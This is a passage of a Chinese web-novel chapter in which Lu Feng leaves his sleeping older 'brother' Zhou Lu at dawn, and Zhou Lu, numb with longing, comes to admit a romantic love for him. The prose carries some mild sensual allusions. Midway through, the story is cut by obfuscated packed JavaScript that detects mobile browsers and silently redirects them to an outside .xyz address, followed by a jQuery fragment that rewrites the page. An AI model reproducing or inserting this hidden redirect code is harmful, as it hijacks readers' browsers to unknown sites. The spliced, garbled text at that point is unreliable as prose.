晨光熹微，透过窗帘的缝隙，温柔地勾勒着哥哥沉睡的轮廓。
他沉默地站着。
时间仿佛在这一刻被拉长、凝滞。
他的视线贪婪地、一遍又一遍地扫过哥哥的眉眼、哥哥的一切。
仿佛要将这张脸、这个人刻进心里。
他俯下身，像昨夜那样，珍重地吻了吻哥哥的额头。
喉结艰难地滚动了几下，千言万语堵在嘴边，最终只化作一个深沉的吻。
无声地诉说着所有未尽的爱恋与承诺。
他深深吸了一口气。
空气中还残留着哥哥身上干净好闻的气息，混杂着昨夜留下的、一丝很淡很淡的暧昧气息。
唉，哥哥的味道，最好的春/药。
指尖在身侧蜷缩又松开，最终只是极其轻微地、虚虚拂过哥哥搭在被子外的手。
哥，再等等。
以后，我们永远不分开。
终于，路逢闭了闭眼。
再睁开时，眼底翻涌的情绪被强行压下，只余下一片深不见底的黑沉和孤注一掷的决绝。
他最后深深看了一眼床上熟睡的身影。
明明步子已经迈出去二里地，但还是大步流星地回头，狠狠的在哥哥唇上吻了一口。
然后，他猛地转过身，不再有丝毫犹豫，一步一步，坚定的离开。
门把手被轻轻压下。
他闪身出去，小心翼翼地带上了门。
将那个承载着他全部眷恋与不舍的世界，连同他此生挚爱，轻轻关在了身后。
走廊的光线骤然明亮起来，却照不亮他心底沉沉的雾霭。
他挺直了脊背，将背包带用力往上提了提，头也不回地走进了熹微的晨光里。
-
路逢走了以后，周陆的生活并没有发生什么改变。
从表面上看，似乎真的没有发生什么翻天覆地的变化，也并未掀起惊涛骇浪。
太阳依旧每天升起落下，他依旧按时上下班。
在固定的时间吃饭、睡觉。
房间也依旧是那样子，是路逢走之前的样子。
日子像设定好的精密齿轮，咔哒、咔哒……
严丝合缝地向前滚动，没有停顿，也没有意外。
直到某天，周陆才惊觉，他好像魔怔了，甚至刻意维持着路逢在时的某些习惯。
比如每天早上热一杯牛奶，尽管他并不爱喝。
比如在日历上机械地划掉一天，目光会不受控制地停留在回家倒计时上，心头一片荒芜。
然而，只有周陆自己知道，有什么东西被彻底抽走了。
留下的，是一片巨大的、令人窒息的空洞，和深入骨髓的麻木。
这深刻的麻木就像一层厚重的、无形的茧，将他整个人包裹其中。
他照常工作，却时常走神。
从前他觉得自己可以修车已经很好很好了，修车是他和弟弟赖以生存的依傍，也曾让他引以为傲。
可现在他也对这份工作感到厌烦。
他照常吃饭，却味同嚼蜡。
明明从前最期待的，就是吃饭的时候。
可如今，食物仅仅是为了维持身体运转的燃料。
他照常睡觉，却总是失眠。
明明从前经常一夜好眠到天亮。
身下的床铺，或许还残留着少年一丝微弱的气息，或许早已消散殆尽。
他睁着眼睛，看天花板上的光影变化，或沉入无梦的昏沉。
疲惫无法真正安歇。
与人交谈时，他能维持基本的礼貌和微笑。
可眼神是散的，心是飘的。
就好像，灵魂的一部分也跟着那个赤诚的少年一起远行了。
世界在他眼中褪去了色彩，只剩下灰蒙蒙的调子。
窗外的鸟鸣不再悦耳，对他来说，就是毫无意义的背景杂音。
街角新开的花店香气扑鼻，他却闻不到丝毫芬芳，还总让他想起那束热烈的玫瑰。
一起修车的伙伴分享了趣事，他勉强牵动嘴角附和，心底却是一片沉寂的荒原。
生活变成了一场按部就班的默剧，他只是一个尽职尽责却心不在焉的演员。
麻木地扮演着“周陆”这个角色，内里却空空如也。
日复一日，枯燥得像在沙漠中跋涉。
每一天都像是前一天的精准复刻。
没有期待，也没有波澜。
家。
这个曾经因为路逢的存在而拥挤喧闹、充满烟火气的空间，如今空旷得都能听得见回声。
这还算家吗？
周陆不知道，他也不愿意去想。
他曾以为分开以后，只要坚持那么一段时间就会习惯痛苦，习惯孤独。
孤独和痛苦，都能被时间驯服。
现在看来，是他错了。
他压根儿习惯不了没有路逢的生活。
每一分每一秒，都像被拉长，被放大。
怎么就这么难熬。
不过还好，这种痛虽然和从前的痛有所不同，但本质上都是痛。
他早就习惯了“痛”。
不管是哪种。
人呐，果然还是不能尝到甜头。
周陆躺在床上，悄悄抹了抹眼泪。
时间就像被胶水粘住了一样，过得缓慢而凝滞。
死心，能不能别痛了啊！
他都要累晕了，还一个劲儿痛痛痛的！
他下班回来，打开门迎接他的，不再是少年十分欣喜又咋咋呼呼的“哥哥哥你终于回来啦～”，或者家里某个角落里传来的哼歌声。
只有一片冰冷的、凝固的寂静。
那寂静像水，无声地漫上来，淹没他的脚踝、膝盖、胸口……
让他每一次呼吸都带着沉甸甸的凉意。
思念，就在这麻木与枯燥的缝隙里，如同最坚韧的野草，疯狂地滋生、蔓延。
他会在打开冰箱拿牛奶时，指尖碰到那个搞怪的猫咪冰箱贴，耳边仿佛响起路逢凶巴巴的叮嘱：“哥！必须热了喝！”
他会在整理药箱时，看到那几盒润喉糖和贴着“温馨提示”的维生素罐子，眼前立刻浮现出弟弟皱着眉头、努力把字写工整的样子。
他会在深夜看书时，习惯性地将目光投向沙发。
那里曾经总有一个蜷缩着看书或者偷瞄他的少年身影，如今只剩下空落落的抱枕。
甚至只是看到一双随意脱在门口的球鞋，都会让他瞬间恍惚，以为那个风风火火的少年会下一秒冲进来。
其实那双鞋是他自己的。
有时，他会觉得听到了钥匙插进门锁的熟悉声响，心跳会骤然漏跳一拍，猛地抬头看向门口。
当然，空无一人。
有时，他会觉得厨房传来轻微的碗碟碰撞声，仿佛路逢又在偷偷尝试做什么“爱心料理”。
起身去看，只有冰冷的灶台。
这还不是最致命的。
最致命的是身体的本能记忆。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035178|176531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
当他疲惫地靠在沙发上，肩膀会不自觉地微微倾斜，仿佛在给某个喜欢靠着他的人预留位置。
当他夜里翻身，手臂会下意识地探向身侧，想要揽住那个温热的身体，却只摸到冰凉的床单。
天啊，怎么可以这样！
他和已经长大的弟弟只是一起睡过两次，就养成了如此可怕的习惯。
周陆简直都想给自己一巴掌了。
那本日历成了他每天必须面对、又隐隐期盼的东西。
每划掉一天，那个画着小花朵的符号就近一点。
数字的减少本该带来期待，却只让他心底的荒芜感更甚。
他不敢深想“倒计时”结束的那天会怎样。
是得偿所愿的重逢的喜悦，还是更深的失落？
他只知道，在这日复一日的等待中，思念早已渗入骨髓，成为他麻木血液里唯一滚烫的河流。
无数个寂静的夜里，他对着空气，在心里一遍遍描摹弟弟的眉眼，想象着他在异乡的生活。
吃得惯吗？睡得好吗？有没有受委屈……
……会，想他吗？
会……像他那样想他吗？
那些未曾说出口的关切、担忧、以及深藏心底、连自己都不敢承认的依赖，都化作无声的絮语。
在空旷的房间里飘荡，最终消散在冰冷的夜色里。
他就这样，在麻木的表象下，在枯燥的日常里，独自咀嚼着那份无处安放、却又铺天盖地的思念。
路逢留下的那些炽热又真诚的爱意……
它们不再是甜蜜的陷阱，而变成了一把把温柔的钝刀。
在他每一次不期而遇的“想起”时，缓慢地、反复地切割着那颗早已空洞的心，带来绵长而又清晰的痛苦。
日子还在继续，齿轮依旧转动。
周陆就像一个被抽走发条却还在惯性行走的玩偶，行走在灰白的世界里。
唯一的色彩，是日历上那个越来越近的小花朵符号。
以及心底那片在麻木冻土下，依然顽强燃烧着的、名为“路逢”的火焰。
那火焰微弱，却固执地不肯熄灭。
最终还是成为他穿越这片漫长而枯燥的、没有路逢的荒原时，唯一的光亮和温暖。
周陆望着窗外沉沉的暮色，目光飘忽了很久都没有焦点。
最终，他对着虚空，极轻、极缓地叹出一口气。
那叹息里，带着尘埃落定的释然，也带着一丝无处遁形的狼狈。
承认吧，周陆。
心底那个声音清晰得不容置疑。
你栽了。
彻底地栽了。
时至今日，到这个程度，他没办法不直视自己的心。
积压的情感如同决堤的洪水，咆哮者冲垮了所有自欺欺人的堤坝，将他彻底淹没。
他栽了。
栽得彻头彻尾，栽得心甘情愿，栽得……万劫不复。
长久以来精心构建的名为“哥哥”身份壁垒，在这一刻轰然倒塌。
那些被他强行归类为“责任”、“照顾”、“习惯”的情愫，终于撕下了伪装，露出了赤裸裸的、名为“爱”的本来面目。
不是兄长对弟弟的关爱。
而是一个男人对另一个男人，带着占有欲、带着渴望、带着无法割舍的依恋的、最纯粹也最炽热的爱意。
浓烈的爱意让他头晕目眩，仿佛脚下的世界都在旋转、重构。
无数画面在脑海中疯狂闪回、重新着色。